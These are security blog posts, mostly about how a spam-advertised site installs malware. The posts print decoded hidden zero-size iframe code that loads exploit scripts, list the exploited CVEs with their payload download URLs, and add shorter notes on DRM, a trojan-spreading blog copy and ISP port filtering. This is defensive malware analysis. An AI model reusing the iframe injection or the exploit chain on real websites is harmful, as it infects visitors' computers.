Nagy Ferenc László's official blog

There is a website which is agressively advertised in spam. It contains an unsavory (well, matter of taste) video. But what's the business in it? You guessed it (I hope): http:// 2j1f . com/ installs malware.

The main page contains two encoded scripts. The second one (near to the end) looks like a traffic counter. Really. Let's see the first one (after decoding):
<script>window.status="Done"</script>
<iframe src="header_01.gif" width=0 height=0></iframe>

The file called header_01.gif is not an image but a script, and is also encoded. The decoded code is:
<script>window.status="Done"</script>
<iframe src="http:// currentsession . net /session/index.php?usermode=start&action=level3" width=0 height=0></iframe>

Okay, we now have a 45 kilobyte script full of exploits. Summary:
CVE-2008-0625 Yahoo! Music Jukebox Yahoo! MediaGrid ActiveX control vulnerability
downloads: http:// currentsession . net /session/yahoofile.php?action=download&mode=abc
CVE-2007-3147 Yahoo! Webcam image upload ActiveX control vulnerability
downloads: see above
CVE-2007-2222 Microsoft Speech API ActiveX control vulnerability
downloads: http:// currentsession . net /session/dspeechfile.php?action=download&mode=abc
CVE-2008-0660 FaceBook PhotoUploader vulnerability
downloads: http:// currentsession . net /session/facebfile.php?action=download&mode=abc
MILW0RM:5102 another FaceBook PhotoUploader vulnerability
downloads: see above

At the end there is a script encoded by xor algorithm. It's a collection of exploits and is borrowed straight from MPack's megapack1.php (~ 0.94 version). Summary:
CVE-2006-3730 WebViewFolderIcon
CVE-2006-0003 MDAC
CVE-2007-0015 Quicktime RTSP
CVE-2006-5198 Winzip
These download http:// currentsession . net /session/file.php?action=download&mode=abc

File.php, yahoofile.php, dspeechfile.php and facebfile.php currently returns the same file (md5: 712bc609da304f1d25f2fec6a5d62b94), which is some downloader.

Aki tegnap hiányolta a YouTube-ot, az innen megtudhatja, hogy mi történt.

Update márc. 1.: http://www.ripe.net/news/study-youtube-hijacking.html

Támogatják a Filmkliket. Jó, mert tőlem hiába várnák, hogy támogassam, Linux alatt nem lehet megnézni az ott megvett tartalmakat. Sőt, olyat is ismerek, akinek legális Vistán sem sikerült. Tanácsom egyszerű: kerülni kell a DRM-et. A DRM (digital rights management, azaz digitális jogkezelés) egyfajta másolásvédelem, s mint ilyen, csak a legális felhasználó életét keseríti meg, a kalózokat nem gátolja. A licensz géphez van kötve, a tartalmat nem lehet szabadon átvinni más eszközre/formátumba stb. A digitális vízjellel (lásd dalok.hu) nincs ilyen gond, mert az maximum a minőséget rontja, de a védett tartalom ugyanazokkal a programokkal lejátszható, mint a védelem nélküli.

In the past days many people and journalists wondered why somebody created a blog where she allegedly wanted to record the events and feelings of her last 90 days of life. (After that she wanted to commit suicide.) Is it a joke? Is it marketing? Looks like the solution is very simple. If you go to the blog now, you will see a "Video ActiveX Object Error" instead of the videos:


The file that can be downloaded now (from my IP address) has 2077e236b9cbe7133f8c74876c41190e as MD5, and is detected by 11 of 32 scanners on VirusTotal. (The others need to be updated.)

Update: Or maybe it's not the blogger's motivation. Maybe what I checked is a copy of the original blog, which copy was created by trojan distributors. As the original addresses (www.90dayjane.com and www.90dayjane.blogspot.com) are not available now, it's what will be found by the searchers.

Nem nagy különbség van a UPC és az Interware internetszolgáltatása között abból a szempontból, hogy milyen portokat szűrnek befelé. WIGWAM szerint a Chellónál a 135, 137, 138, 139 és 445-ös portokra küldött csomagok nem jutnak el a felhasználóhoz, Interware ADSL-nél pedig szintén. Ez alapvetően jó (kivéve annak, aki nepenthest akar futtatni), csak említeni kéne az ÁSZF-ben.